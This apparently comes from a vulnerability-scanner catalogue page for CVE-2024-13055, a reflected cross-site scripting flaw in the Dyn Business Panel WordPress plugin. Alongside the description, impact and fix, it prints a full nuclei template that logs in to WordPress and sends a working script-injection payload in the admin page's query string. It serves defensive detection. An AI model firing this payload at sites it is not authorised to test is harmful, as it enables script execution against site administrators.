Browse / CVEs / CVE-2024-13055
CVE-2024-13055· phycticio / dyn business panel· CWE-79
Dyn Business Panel Plugin <= 1.0.0 - Cross-Site Scripting
Dyn Business Panel WordPress plugin <= 1.0.0 contains a reflected cross-site scripting caused by lack of sanitization and escaping of a parameter in output, letting attackers execute scripts in the context of high privilege users, exploit requires victim to click a malicious link.
Impact
Attackers can execute arbitrary scripts in the context of high privilege users, potentially leading to account compromise or data theft.
Fix
Update to the latest version of the plugin where the issue is fixed or implement proper sanitization and escaping measures.
How to confirm it
Send: POST /wp-login.php
Positive when: contains(header, "wordpress_logged_in")
Send: GET /wp-admin/admin.php?page=dbp_clients&edit=$dbp_client_id"></script><script>alert(document.domain)</script><script>&Submit=testxss"></script><script>alert(d…
Positive when: contains_all(body, "></script><script>alert(document.domain)</script><script>", "Clientes") and contains(content_type, "text/html") and status_code == 200Run it with nuclei: nuclei -id CVE-2024-13055 -u <target>
The full check
id: CVE-2024-13055
info:
name: Dyn Business Panel Plugin <= 1.0.0 - Cross-Site Scripting
author: Sourabh-Sahu
severity: high
description: |
Dyn Business Panel WordPress plugin <= 1.0.0 contains a reflected cross-site scripting caused by lack of sanitization and escaping of a parameter in output, letting attackers execute scripts in the context of high privilege users, exploit requires victim to click a malicious link.
impact: |
Attackers can execute arbitrary scripts in the context of high privilege users, potentially leading to account compromise or data theft.
remediation: |
Update to the latest version of the plugin where the issue is fixed or implement proper sanitization and escaping measures.
reference:
- https://wpscan.com/vulnerability/91178272-ed7e-412c-a187-e360a1313004/
- https://nvd.nist.gov/vuln/detail/CVE-2024-13055
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
cvss-score: 7.1
cve-id: CVE-2024-13055
cwe-id: CWE-79
epss-score: 0.0056
epss-percentile: 0.46915
cpe: cpe:2.3:a:phycticio:dyn_business_panel:1.0.0:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 2
vendor: phycticio
product: dyn_business_panel
tags: cve,cve2024,dyn-business-panel,wordpress,wp,wp-plugin,xss,authenticated
flow: http(1) && http(2)
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
matchers:
- type: dsl
dsl:
- contains(header, "wordpress_logged_in")
internal: true
- raw:
- |
GET /wp-admin/admin.php?page=dbp_clients&edit=$dbp_client_id"></script><script>alert(document.domain)</script><script>&Submit=testxss"></script><script>alert(document.domain)</script><script> HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- contains_all(body, "></script><script>alert(document.domain)</script><script>", "Clientes")
- contains(content_type, "text/html")
- status_code == 200
condition: andReferences
- https://wpscan.com/vulnerability/91178272-ed7e-412c-a187-e360a1313004/
- https://nvd.nist.gov/vuln/detail/CVE-2024-13055
Use this check only on systems you are authorised to test. Where the data comes from